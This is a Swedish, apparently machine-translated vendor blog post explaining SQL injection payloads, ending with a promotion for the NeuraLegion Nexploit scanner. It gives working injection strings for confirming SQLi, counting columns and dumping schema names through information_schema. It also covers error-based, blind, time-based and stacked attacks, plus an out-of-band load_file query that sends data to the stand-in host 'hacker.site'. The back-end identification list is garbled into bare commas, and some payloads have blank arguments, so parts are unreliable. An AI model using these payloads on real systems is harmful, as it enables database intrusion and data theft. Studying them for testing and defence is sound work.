SQL Injection nyttolast: hur sqli utnyttjar arbete
Vad är en SQL Injection nyttolast?
SQL Injection representerar en webbsäkerhetssårbarhet som gör det möjligt för angripare att visa data som de inte borde kunna, genom att tillåta angriparen att störa de frågor som ett program gör till sin databas genom att injicera skadliga SQL-injektion nyttolaster.
Läs mer om SQL – injektionsattacker i det här blogginlägget-vad är SQL-injektioner och hur kan de förhindras
i det här blogginlägget kommer vi att täcka hur man kontrollerar om en webbplats är sårbar för SQLi och de olika SQL-injektions nyttolaster som används för att utnyttja olika typer av SQL-injektionssårbarheter.
i den här artikeln:
bekräftar SQLi: Ingångspunktsdetektering
för att identifiera om dina applikationer är sårbara för SQLi och du kan använda nyttolasterna som följer måste du först kunna injicera data i frågan utan att bryta den. Det första steget är att ta reda på hur man kan fly från det aktuella sammanhanget.
prova ett av dessa användbara exempel:
'
"
`
')
")
`)
'))
"))
`))
för att åtgärda frågan kan du mata in data så att den föregående frågan accepterar de nya uppgifterna, eller så kan du mata in data och lägga till en kommentarsymbol i slutet.
denna fas blir enklare om du kan se felmeddelanden eller du kan identifiera om /när en fråga fungerar eller inte.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
bekräfta SQLi med hjälp av logiska operationer
du kan bekräfta en SQL-injektionssårbarhet genom att utföra en logisk operation. Om du får det förväntade resultatet bekräftade du SQLi.
så här ser det ut i praktiken:
om GET-parametern ?username=John
returnerar samma innehåll som ?username=John'
eller '1'='1
hittade du en SQL-injektionssårbarhet.
detta koncept fungerar också för matematiska operationer:
om ?id=1
returnerar samma som ?id=2-1
, hittade du en SQL-injektionssårbarhet.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
bekräfta SQL-injektion med Timing
i vissa fall när du försöker bekräfta en SQLi kommer det inte att bli någon märkbar förändring på sidan som du testar. Detta indikerar en Blind SQL, som kan identifieras genom att databasen utför åtgärder som påverkar den tid sidan behöver laddas.
vi kommer att lägga till SQL-frågan en operation som tar längre tid att utföra, till exempel att utföra följande:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
sömnfunktionerna är inte alltid tillåtna, så gör en fråga utföra komplexa operationer som tar flera sekunder istället.
identifiera Back-end
olika backends har olika funktioner, som kan identifieras utföra dessa funktioner. Exempel på dessa funktioner är:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union Based SQL Injection nyttolast
upptäcka antal kolumner
båda frågorna (den ursprungliga och den vi ändrar) måste returnera samma antal kolumner. Men hur vet vi hur många kolumner den ursprungliga begäran återvänder? Vi brukar använda en av de två följande metoderna för att få antalet kolumner:
Beställ/grupp av
även om GROUP BY
och ORDER BY
har olika funktioner i SQL, kan de båda användas för att bestämma antalet kolumner i frågan. Öka antalet tills du får ett falskt svar:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
i fallet med UNION SELECT, infoga ett ökande antal null-värden tills frågan är giltig:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
varför används null-värden? Det finns fall där typen av kolumnerna på båda sidor av frågan måste vara densamma. Null är giltigt i alla fall.
extrahera databasnamn, tabeller och kolumnnamn
i följande exempel kommer vi att hämta namnet på alla databaser, tabellnamnen från en databas och kolumnnamnen i tabellen:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
metoden som används för att upptäcka dessa data kommer att variera från själva databasen, men det är alltid samma metod.
Felbaserad SQL-injektion nyttolast
om frågeutmatningen inte är synlig, men du kan se felmeddelandena, kan du få dessa felmeddelanden att fungera för att exfiltrera data från databasen.
i likhet med det unionsbaserade exploateringsexemplet kan du dumpa databasen:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL-injektioner nyttolaster
när det gäller Blind SQL-injektion kan du inte se resultaten av frågan eller felen, men du kan skilja när frågan returnerade ett sant eller falskt svar baserat på det olika innehållet på sidan.
du kan missbruka det beteendet för att dumpa databasen char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Error Blind SQL Injection nyttolast
som namnet antyder är detta mycket lik Blind SQL-injektion, men den här gången behöver du inte skilja mellan ett sant eller falskt svar. Du kontrollerar om det finns ett fel i SQL-frågan eller inte, genom att tvinga ett SQL-fel varje gång du korrekt gissar char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
tidsbaserad SQL-injektion nyttolast
du kan använda den här tekniken främst när du ska utnyttja blinda sårbarheter där du använder en andra Fråga för att utlösa en DNS-sökning, villkorligt fel eller en tidsfördröjning.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
staplade frågor
staplade frågor kan användas för att utföra flera frågor i följd. Medan de efterföljande frågorna körs returneras resultaten inte till applikationen. Du kan använda den här tekniken när blinda sårbarheter där du använder en andra Fråga för att utlösa en DNS-sökning, villkorligt fel eller en tidsfördröjning.
medan Oracle och MySQL inte stöder staplade frågor, stöder Microsoft och PostgreSQL dem: QUERY-1-HERE; QUERY-2-HERE
Out of band Sqli nyttolast
om ingen av de ovan nämnda exploateringsmetoderna fungerade för dig kan du försöka få databasen att exfiltrera data till en extern värd som styrs av dig. Du kan till exempel använda DNS-frågor:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Upptäck SQL-injektion med hjälp av Nexploit
Neuralegions Nexploit automatiserar detektering och sanering av hundratals sårbarheter, inklusive SQL-injektion.
genom att integrera DAST-skanningar tidigt i utvecklingsprocessen kan utvecklare och applikationssäkerhetsexperter upptäcka sårbarheter tidigt och åtgärda dem innan de visas i produktionen.
med Nexploit görs skanningarna på några minuter och resultaten kommer med noll falska positiva. Detta gör det möjligt för utvecklare att anta lösningen och använda den under hela utvecklingslivscykeln.
skanna en webbapp eller API för att förhindra SQL – injektionssårbarheter-försök NeuraLegion Nexploit gratis.